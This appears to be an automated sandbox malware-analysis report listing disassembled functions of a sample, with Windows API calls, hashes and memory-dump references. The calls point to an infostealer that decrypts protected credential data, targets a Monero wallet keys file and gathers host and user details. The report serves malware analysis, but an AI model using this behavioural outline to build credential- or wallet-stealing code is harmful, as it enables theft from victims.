Associated: 00000000.00000002.2251340111.0000000000DD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.00000000011DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252089844.000000000121F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252199151.00000000013BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252215963.00000000013BE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: f7ca833796b43d91b0007d4c6e6806b30d4da93e3af7fd3cf0dce8f1008b3221
Instruction ID: 59511a7d753b27fb7f6f85c85306ecd2b483260f64d93fa444bd95eb6087b9e2
Opcode Fuzzy Hash: f7ca833796b43d91b0007d4c6e6806b30d4da93e3af7fd3cf0dce8f1008b3221
Instruction Fuzzy Hash: 25122272A10118ABDB14FB64DC96EED7338EF54300F4045A9B58AA6191EF706F49CFB2

Function 00D39600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00D3961E
Process32First.KERNEL32(00D40ACA,00000128), ref: 00D39632
Process32Next.KERNEL32(00D40ACA,00000128), ref: 00D39647
StrCmpCA.SHLWAPI(?,00000000), ref: 00D3965C
CloseHandle.KERNEL32(00D40ACA), ref: 00D3967A

Memory Dump Source

Source File: 00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.2251308209.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.00000000011DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252089844.000000000121F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252199151.00000000013BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252215963.00000000013BE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: e770156b3914ef55886884866311048174b00e160184b24bef8ace6e5522609d
Instruction ID: 97afa18f7c5dcf30c19bbb4b213eaa507a6f6755f0920d3ef762f3cc1591a50a
Opcode Fuzzy Hash: e770156b3914ef55886884866311048174b00e160184b24bef8ace6e5522609d
Instruction Fuzzy Hash: 3D011E75A01208EBCB14DFA5CD59BEDB7F8EB48300F104188E909A7250D7B4AB40DF61

Function 00D38680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 00D3A740: lstrcpy.KERNEL32(00D40E17,00000000), ref: 00D3A788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00D405B7), ref: 00D386CA
Process32First.KERNEL32(?,00000128), ref: 00D386DE
Process32Next.KERNEL32(?,00000128), ref: 00D386F3

Part of subcall function 00D3A9B0: lstrlen.KERNEL32(?,0184A318,?,\Monero\wallet.keys,00D40E17), ref: 00D3A9C5
Part of subcall function 00D3A9B0: lstrcpy.KERNEL32(00000000), ref: 00D3AA04
Part of subcall function 00D3A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D3AA12

Part of subcall function 00D3A8A0: lstrcpy.KERNEL32(?,00D40E17), ref: 00D3A905

CloseHandle.KERNEL32(?), ref: 00D38761

Memory Dump Source

Source File: 00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.2251308209.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.00000000011DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252089844.000000000121F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252199151.00000000013BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252215963.00000000013BE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 4ed10597e667891a23cd6563c545d0719614d5342e18c6d12f896c98943248e6
Instruction ID: fa4f6394dabc589ca74ab841172bc36d424378ac862416d08fa5e43dd32f310f
Opcode Fuzzy Hash: 4ed10597e667891a23cd6563c545d0719614d5342e18c6d12f896c98943248e6
Instruction Fuzzy Hash: 573128B1A01218ABCB64EF58DC85FEEB778EF45700F1041A9F50AB61A0DB746A45CFB1

Function 00D37A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,0184E6E0,00000000,?,00D40E10,00000000,?,00000000,00000000), ref: 00D37A63
RtlAllocateHeap.NTDLL(00000000), ref: 00D37A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,0184E6E0,00000000,?,00D40E10,00000000,?,00000000,00000000,?), ref: 00D37A7D
wsprintfA.USER32 ref: 00D37AB7

Memory Dump Source

Source File: 00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.2251308209.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.00000000011DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252089844.000000000121F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252199151.00000000013BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252215963.00000000013BE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: 3d7dfe69f00d48e65af58c16636b9b59dc5b04c5dee731b4f7c2825f4a85de33
Instruction ID: 77821bb69a4802f5c935fc91ff93f8a3b034b23d6f98afdefde7944ef8134693
Opcode Fuzzy Hash: 3d7dfe69f00d48e65af58c16636b9b59dc5b04c5dee731b4f7c2825f4a85de33
Instruction Fuzzy Hash: CC115EB1945618EFEB208B64DC49FA9BB78FB44721F10439AE91AA32C0D7745A44CFA1

Function 00D29B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00D29B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00D29BA3
LocalFree.KERNEL32(?), ref: 00D29BD3

Memory Dump Source

Source File: 00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.2251308209.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.00000000011DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252089844.000000000121F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252199151.00000000013BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252215963.00000000013BE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 0915558d598690630991d716df21d66ff51a3b8700d80bce23f37f974e3484bb
Instruction ID: d3f709360f034a43b1eada6861142fd6e27d4b71ccee7b3409a5926b6caba08f
Opcode Fuzzy Hash: 0915558d598690630991d716df21d66ff51a3b8700d80bce23f37f974e3484bb
Instruction Fuzzy Hash: 4911C9B8A00209EFDB04DF94D989AAEB7B5FF88304F1045A8E915A7350D774AE11CFB1

Function 00D378E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00D37910
RtlAllocateHeap.NTDLL(00000000), ref: 00D37917
GetComputerNameA.KERNEL32(?,00000104), ref: 00D3792F

Memory Dump Source

Source File: 00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.2251308209.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.00000000011DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252089844.000000000121F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252199151.00000000013BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252215963.00000000013BE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 4f6eb971258783973ee42ed706d1fb530aac47dfd55fb7e2980d48f0d19ac190
Instruction ID: 1024653fa0b86961b85774e5ccb773980181f60a8f76e5c5329985c506ad1184
Opcode Fuzzy Hash: 4f6eb971258783973ee42ed706d1fb530aac47dfd55fb7e2980d48f0d19ac190
Instruction Fuzzy Hash: 7F0181B1A04608EFC750DF98DD45BAABBB8FB04B21F10422AFA55E7280C37459048FB2

Function 00D37850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00D211B7), ref: 00D37880
RtlAllocateHeap.NTDLL(00000000), ref: 00D37887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 00D3789F

Memory Dump Source

Source File: 00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.2251308209.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.00000000011DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252089844.000000000121F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252199151.00000000013BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252215963.00000000013BE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: 03a63b1d99c38e0f040d9988e14d6bb5dadffbf9057b57cc151e769324938de4
Instruction ID: f2cd9b52042d30a2c45675e096e10f85066b31f09eb4cd73177b61aeeef3d735
Opcode Fuzzy Hash: 03a63b1d99c38e0f040d9988e14d6bb5dadffbf9057b57cc151e769324938de4
Instruction Fuzzy Hash: 1AF04FB1944209AFC710DF98DD49BAEFBB8EB09711F10025AFA15A3680C7B455048FA1

Function 00D21160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 00D2116A
ExitProcess.KERNEL32 ref: 00D2117E

Memory Dump Source

Source File: 00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.2251308209.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.00000000011DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252089844.000000000121F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252199151.00000000013BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252215963.00000000013BE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: c5e661234baec27bb413e38c641de70eb14a53fb71e6593873d4e603ad0da747
Instruction ID: 5a1824f8279d42a81583ae0caf4647910de47b7101737d8371014a6cb9427c55
Opcode Fuzzy Hash: c5e661234baec27bb413e38c641de70eb14a53fb71e6593873d4e603ad0da747
Instruction Fuzzy Hash: 6BD05E7490030CDBCB00DFE0D84A6DDBBB8FB08315F000554DD0572340EA709491CAA6

Function 00D39C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,01836580), ref: 00D39C2D
GetProcAddress.KERNEL32(75900000,018363C0), ref: 00D39C45
GetProcAddress.KERNEL32(75900000,0184AAC0), ref: 00D39C5E
GetProcAddress.KERNEL32(75900000,0184AAD8), ref: 00D39C76
GetProcAddress.KERNEL32(75900000,0184DD18), ref: 00D39C8E
GetProcAddress.KERNEL32(75900000,0184DDD8), ref: 00D39CA7
GetProcAddress.KERNEL32(75900000,0183C048), ref: 00D39CBF
GetProcAddress.KERNEL32(75900000,0184DDA8), ref: 00D39CD7
GetProcAddress.KERNEL32(75900000,0184DD30), ref: 00D39CF0
GetProcAddress.KERNEL32(75900000,0184DCB8), ref: 00D39D08
